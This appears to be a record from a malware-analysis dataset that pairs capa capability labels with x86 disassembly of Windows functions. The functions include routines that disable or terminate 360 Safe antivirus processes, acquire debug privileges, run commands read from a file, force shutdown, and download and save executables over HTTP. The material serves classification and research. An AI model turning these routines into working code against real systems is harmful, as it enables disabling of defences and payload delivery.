joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a6a0
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
sub esp, 0x10
mov eax, 4
mov dword [esp + 4], eax
mov dword [esp + 8], eax
lea eax, [esp]
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea ecx, [esp + 4]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 4]
lea eax, [esp + 0xc]
push edx
push eax
push 0
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 0x10
ret

Function at 0x1000a740
Capabilities:
Get hostname

Disassembly:
sub esp, 0x34
push esi
push edi
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [esp + 8]
push 0x32
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
mov esi, dword [esp + 0x44]
push 0x32
push esi
lea ecx, [esp + 0x10]
push 0x32
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
pop edi
pop esi
add esp, 0x34
ret

Function at 0x1000a830
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
lea eax, [esp]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x1000a88a
mov eax, dword [esp]
mov ecx, eax
and ecx, 1
cmp cl, 1
jne 0x1000a857
mov eax, str.MODEM
pop ecx
ret
mov edx, eax
and edx, 2
cmp dl, 2
jne 0x1000a868
mov eax, 0x10018588
pop ecx
ret
mov ecx, eax
and ecx, 4
cmp cl, 4
jne 0x1000a879
mov eax, str.PROXY
pop ecx
ret
and eax, 8
cmp al, 8
mov eax, str.BUSY
je 0x1000a88a
mov eax, str.OTHER
pop ecx
ret

Function at 0x1000a890
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10012a00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], esp
push 0
push str.ExecAccess
push str.SOFTWARE360Safe_safemon
push reloc.WS2_32.dll_bind
call fcn.10007670
add esp, 0x10
push 0
push str.SiteAccess
push str.SOFTWARE360Safe_safemon
push reloc.WS2_32.dll_bind
call fcn.10007670
add esp, 0x10
push 0
push str.MonAccess
push str.SOFTWARE360Safe_safemon
push reloc.WS2_32.dll_bind
call fcn.10007670
add esp, 0x10
push str.Stop360_Error_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a930
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x34c
push ebx
push ebp
push esi
lea eax, [esp + 0x114]
push edi
xor ebx, ebx
push eax
mov byte [esp + 0x118], 0x66
mov byte [esp + 0x2a4], bl
mov dword [esp + 0x11c], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov esi, dword [esp + 0x360]
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0xb2]
mov word [esp + 0xb0], bx
push 0x64
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xb4]
push ecx
push esi
stosw word es:[edi], ax
call fcn.1000a740
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x5a]
mov word [esp + 0x58], bx
rep stosd dword es:[edi], eax
lea edx, [esp + 0x58]
push 0x64
push edx
push esi
stosw word es:[edi], ax
call fcn.1000a790
mov ebp, dword [esp + 0x37c]
xor eax, eax
mov dword [esp + 0x2c], eax
add esp, 0x18
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], eax
lea edx, [esp + 0x14]
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 0xa8]
push ecx
push edx
push eax
mov dword [esp + 0x1c], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea edx, [esp + 0xb0]
lea eax, [esp + 0x23c]
push edx
push eax
mov dword [esp + 0x240], ecx
call esi
lea ecx, [esp + 0x4c]
lea edx, [esp + 0x2f8]
push ecx
push edx
call esi
call fcn.1000a6a0
mov dword [esp + 0x234], eax
call fcn.1000a700
mov byte [esp + 0x2a0], al
call fcn.1000a830
push eax
lea eax, [esp + 0x2ac]
push eax
call esi
mov ecx, 9
xor eax, eax
lea edi, [esp + 0x26]
mov word [esp + 0x24], bx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x18]
push 0x14
push ecx
stosw word es:[edi], ax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
lea edx, [esp + 0x28]
push eax
push edx
call dword [sym.imp.MSVCRT.dll_mbstowcs]
add esp, 0xc
lea eax, [esp + 0x24]
lea ecx, [esp + 0x2d0]
push eax
push ecx
call esi
mov edx, dword [esp + 0x368]
lea eax, [esp + 0x114]
push 0x248
push eax
mov ecx, ebp
mov dword [esp + 0x2ac], edx
call fcn.100025b0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x34c
ret

Function at 0x1000aac0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x10018634
push 0x100179a4
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x1000ab67
mov al, byte [esi + 0xc]
mov ebx, dword [sym.imp.MSVCRT.dll_fclose]
test al, 0x10
jne 0x1000ab61
mov ebp, dword [sym.imp.KERNEL32.dll_WinExec]
push esi
lea eax, [esp + 0x14]
push 0x400
push eax
call dword [sym.imp.MSVCRT.dll_fgets]
add esp, 0xc
test eax, eax
je 0x1000ab61
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
push 0x10018634
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0x13], al
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
test eax, eax
je 0x1000ab67
push eax
call ebx
add esp, 4
lea edx, [esp + 0x10]
push 0
push edx
call ebp
test byte [esi + 0xc], 0x10
je 0x1000ab0b
push esi
call ebx
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret
Function at 0x1000ab80
Capabilities:
Delete file
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x20c
push ebx
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 8]
push 0x208
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea ecx, [esp + 8]
push 0x10018638
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 3
push 0
push 1
lea edx, [esp + 0x1c]
push accept
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1000ac1f
push esi
push edi
push 0
push ebx
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0xc]
mov esi, eax
push 0
push ecx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
mov byte [esi + edi], 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop ebx
add esp, 0x20c
ret

Function at 0x1000afc0
Capabilities:
Enumerate processes

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
push 0x22c
mov dword [esp + 0x14], esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov ebp, eax
push ebp
push esi
mov dword [ebp], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1000b066
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x1000b066
mov esi, dword [sym.imp.MSVCRT.dll__wcsupr]
push str.360tray.exe
call esi
lea ebx, [ebp + 0x24]
mov edi, eax
push ebx
call esi
push edi
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x10
test eax, eax
jbe 0x1000b02d
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push ebp
push eax
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x1000b066
push str.360tray.exe
call esi
push ebx
mov edi, eax
call esi
push edi
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x10
test eax, eax
ja 0x1000b024
mov ecx, dword [esp + 0x10]
push ebp
push ecx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1000b03c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x1000b170
Capabilities:
Print debug messages
Terminate process

Disassembly:
push ecx
mov eax, dword [str.HidServ]
push ebx
push ebp
push esi
push edi
push 0x1000b0d0
push eax
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
test eax, eax
mov dword [0x1001b110], eax
je 0x1000b24d
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push 0
push 2
call fcn.1000b070
push 0
push 0
push 4
call fcn.1000b070
push 0
call fcn.1000a890
add esp, 0x1c
call fcn.1000afc0
test eax, eax
jbe 0x1000b1e2
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [str.HidServ]
push 0
push 0
push 0
push ecx
push 0x1000ac80
push 0
push 0
call fcn.1000bb10
add esp, 0x1c
test eax, eax
jne 0x1000b20f
push str.CreateThread__Error___n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov esi, dword [esp + 0x10]
mov edi, dword [sym.imp.USER32.dll_GetMessageW]
mov ebx, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebp, dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
push esi
call edi
test eax, eax
je 0x1000b23e
cmp dword [esi + 4], 0x12
je 0x1000b24d
push esi
call ebx
push esi
call ebp
mov eax, dword [0x1001b10c]
cmp eax, 3
je 0x1000b24d
cmp eax, 1
jne 0x1000b225
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8

Function at 0x1000b45f
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
nop
sub esp, 0x208
dec eax
push ebx
mov ebx, dword [esp + 0x210]
je 0x1000b487
dec eax
je 0x1000b4f2
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push esi
push edi
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0xe]
mov word [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0xc]
push 0x104
push eax
push ebx
mov dword [0x1001b108], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, dword [sym.imp.MSVCRT.dll__wcsupr]
push str.system32
call esi
lea ecx, [esp + 0x10]
mov edi, eax
push ecx
call esi
push edi
push eax
call dword [sym.imp.MSVCRT.dll_wcsstr]
add esp, 0x10
test eax, eax
pop edi
pop esi
ja 0x1000b4f2
push 0
push 0
push 0
push 0x1000b260
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1001b0d8], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001b0c8], eax
call fcn.10007fe0
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x1000b650
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.1000b8d0
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x1000b6a7
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x1000b678
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.1000b8d0
add esp, 8
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.1000b5f0
mov ecx, edi
call fcn.1000b620
pop edi
pop esi
pop ebx
pop ecx
ret 8
Function at 0x1000b6e0
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x440
push esi
push edi
xor esi, esi
mov ecx, 0x8a
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], esi
mov word [esp + 0x240], si
rep stosd dword es:[edi], eax
mov ecx, 0x81
lea edi, [esp + 0x242]
rep stosd dword es:[edi], eax
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x10], esi
stosw word es:[edi], ax
call fcn.1000b8d0
add esp, 8
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x1000b744
pop edi
xor eax, eax
pop esi
add esp, 0x440
ret
push ebx
push ebp
push 0x400
push 0x40
mov dword [esp + 0x24], 0x22c
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [esp + 0x1c]
push eax
push edi
mov byte [ebx], 0x7d
mov ebp, 1
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1000b896
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov eax, dword [esp + 0x24]
test eax, eax
je 0x1000b883
cmp eax, 4
je 0x1000b883
cmp eax, 8
je 0x1000b883
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x248]
push 0x208
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExW
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esp + 0x40]
push eax
call edi
lea ecx, [esp + 0x248]
mov esi, eax
push ecx
call edi
add esi, eax
push ebx
lea esi, [esi + esi + 8]
add esi, ebp
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, esi
jae 0x1000b80c
push 0x42
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebx, eax
mov edx, dword [esp + 0x24]
lea eax, [esp + 0x40]
mov dword [ebx + ebp], edx
push eax
add ebp, 4
call edi
lea ecx, [eax + eax + 2]
lea esi, [esp + 0x40]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x40]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call esi
lea ecx, [esp + 0x248]
lea ebp, [ebp + eax*2 + 2]
push ecx
call esi
lea ecx, [eax + eax + 2]
lea esi, [esp + 0x248]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x248]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, dword [esp + 0x14]
lea ebp, [ebp + eax*2 + 2]
lea ecx, [esp + 0x1c]
push ecx
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x1000b778
push 0x42
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.1000b8d0
add esp, 8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
pop edi
pop esi
add esp, 0x440
ret

Function at 0x1000b960
Capabilities:
Shutdown system

Disassembly:
push 1
push str.SeShutdownPrivilege
call fcn.1000b8d0
mov eax, dword [esp + 0xc]
add esp, 8
push 0
push eax
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push str.SeShutdownPrivilege
call fcn.1000b8d0
add esp, 8
ret
Function at 0x1000bb10
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x1000ba90
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x1000bd20
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push str.Winlogon
mov esi, eax
call fcn.1000bcd0
add esp, 4
test eax, eax
jne 0x1000bd43
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageW]
test esi, esi
je 0x1000bd67
push esi
call fcn.1000bc60
add esp, 4
mov eax, 1
pop esi
ret
Function at 0x1000bd70
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x814
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x1000bdb3
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x814
ret
mov eax, dword [esp + 0x828]
push ebp
push accept
push ebp
push ebp
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov ebx, eax
cmp ebx, ebp
jne 0x1000bddd
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x82c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x1000be6f
mov ebp, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x800
push eax
push ebx
call ebp
test esi, esi
je 0x1000be31
cmp word [esp + 0x24], 0x5a4d
jne 0x1000be58
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x1000be60
jmp 0x1000be05
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x814
ret
Function at 0x401220
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
mov eax, 1
lea ecx, [esp + 4]
mov dword [esp + 0x40], eax
mov word [esp + 0x44], ax
xor eax, eax
lea edx, [esp + 0x14]
mov dword [esp + 4], eax
push ecx
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x60]
mov dword [esp + 0x10], eax
push edx
push eax
push eax
push 0x200
push eax
push eax
push eax
push eax
mov dword [esp + 0x38], 0x44
mov dword [esp + 0x34], eax
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
pop edi
add esp, 0x54
ret 4

Function at 0x401290
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x401ad3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x214
push ebx
push esi
xor ebx, ebx
push str.SOFTWARE_
lea ecx, [esp + 0x10]
mov dword [esp + 0x228], ebx
mov dword [esp + 0xc], ebx
xor esi, esi
call fcn.00401810
push str.specialguard
lea ecx, [esp + 0x10]
mov byte [esp + 0x228], 1
call fcn.0040180a
mov ecx, dword [esp + 0xc]
lea eax, [esp + 8]
push eax
push 0xf003f
push 1
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40136e
mov dl, byte [0x403190]
push edi
mov ecx, 0x80
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], dl
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x234]
push ecx
mov ecx, dword [esp + 0x14]
push edx
push ebx
push eax
push ecx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 0x204
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
pop edi
jne 0x401363
mov ecx, dword [esp + 0x230]
lea edx, [esp + 0x18]
push edx
call sub.MFC42.DLL_CString::operator
mov esi, 1
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0xc]
mov byte [esp + 0x224], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x22c]
mov dword [esp + 0x224], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x21c]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x220
ret 8

Function at 0x4016a0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
mov edx, dword [esp + 0x10]
lea eax, [esp + 4]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push ecx
push 0
push 0x20019
push 0
push 0
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x4016d4
xor eax, eax
add esp, 8
ret
mov eax, dword [esp + 0x14]
lea ecx, [esp]
lea edx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 0x14]
push edx
push 0
push 0
push eax
push ecx
mov dword [esp + 0x18], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x401706
mov edx, dword [esp + 0x18]
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
add esp, 8
ret
Function at 0x417d90
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4a836b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0049d0aa
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x417e12
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0049afbc
mov eax, dword [eax]
push 0x698c80
push eax
call fcn.0048d174
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0049d335
test bl, bl
je 0x417e12
push 0x698c80
lea ecx, [esp + 0xc]
call fcn.0049d6c5
push 0x698c8c
lea ecx, [esp + 0xc]
call fcn.0049d6c5
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x417e4e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0049d335
jmp 0x417f19
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x417ed2
lea edx, [esp + 0x7c]
push 0x698c88
push edx
call fcn.0048d174
add esp, 8
test eax, eax
je 0x417ed2
lea eax, [esp + 0x7c]
push 0x698c84
push eax
call fcn.0048d174
add esp, 8
test eax, eax
je 0x417ed2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x417e62
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0049d335
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x418720
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x418782
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc